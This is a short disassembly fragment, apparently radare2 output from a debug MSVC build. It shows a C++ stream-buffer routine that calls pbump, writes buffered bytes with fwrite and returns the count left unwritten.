call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140285292
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140285292
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret